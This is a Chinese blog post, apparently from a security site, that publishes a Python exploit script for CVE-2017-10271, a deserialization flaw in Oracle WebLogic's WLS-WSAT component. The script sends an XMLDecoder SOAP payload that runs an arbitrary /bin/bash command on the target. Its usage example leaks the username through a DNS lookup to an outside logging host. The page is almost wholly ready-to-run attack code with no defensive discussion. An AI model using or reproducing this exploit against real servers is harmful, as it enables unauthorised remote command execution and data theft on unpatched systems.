文章作者：莫须有
命令格式：python3 CVE-2017-10271.py url command
eg：python3 CVE-2017-10271.py http://test.cve "ping \`whoami\`.dnslog.cve

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
# -*- coding: UTF-8 -*-
 
'''
Created on 2017年12月23日
 
@author: 莫须有
 
<a target="_blank" href="https://www.hedysx.com/tag/cve-2017-10271" title="View all posts in CVE-2017-10271">CVE-2017-10271</a> EXP
 
'''
 
import requests,sys
 
headers = {
    'User-Agent':'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0',
    'Content-Type':'text/xml'
}
 
console = '''&lt;soapenv:Envelope xmlns:soapenv=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot;&gt;
 &lt;soapenv:Header&gt;
 &lt;work:WorkContext xmlns:work=&quot;http://bea.com/2004/06/soap/workarea/&quot;&gt;
 &lt;java version=&quot;1.8.0_131&quot; class=&quot;java.beans.XMLDecoder&quot;&gt;
 &lt;void class=&quot;java.lang.ProcessBuilder&quot;&gt;
 &lt;array class=&quot;java.lang.String&quot; length=&quot;3&quot;&gt;
 &lt;void index=&quot;0&quot;&gt;
 &lt;string&gt;/bin/bash&lt;/string&gt;
 &lt;/void&gt;
 &lt;void index=&quot;1&quot;&gt;
 &lt;string&gt;-c&lt;/string&gt;
 &lt;/void&gt;
 &lt;void index=&quot;2&quot;&gt;
 &lt;string&gt;%s&lt;/string&gt;
 &lt;/void&gt;
 &lt;/array&gt;
 &lt;void method=&quot;start&quot;/&gt;&lt;/void&gt;
 &lt;/java&gt;
 &lt;/work:WorkContext&gt;
 &lt;/soapenv:Header&gt;
 &lt;soapenv:Body/&gt;
&lt;/soapenv:Envelope&gt;'''
 
help = '''
<a target="_blank" href="https://www.hedysx.com/tag/cve-2017-10271" title="View all posts in CVE-2017-10271">CVE-2017-10271</a>.py url command
eg:<a target="_blank" href="https://www.hedysx.com/tag/cve-2017-10271" title="View all posts in CVE-2017-10271">CVE-2017-10271</a>.py http://test.cve &quot;ping \`whoami\`.dnslog.cve&quot;'''
 
if(len(sys.argv)&lt;3):
    print(help)
    exit()
 
url = sys.argv[1] + '/wls-wsat/CoordinatorPortType?wsdl'
command = sys.argv[2]
 
print(command)
try:
    req = requests.post(url, headers = headers, timeout=5, data = console % command)
    if('&lt;faultcode&gt;S:Server&lt;/faultcode&gt;&lt;faultstring&gt;0&lt;/faultstring&gt;' in req.text):
        print('Success！')
    else:
        print('Fail！')
except:
    print('Error！')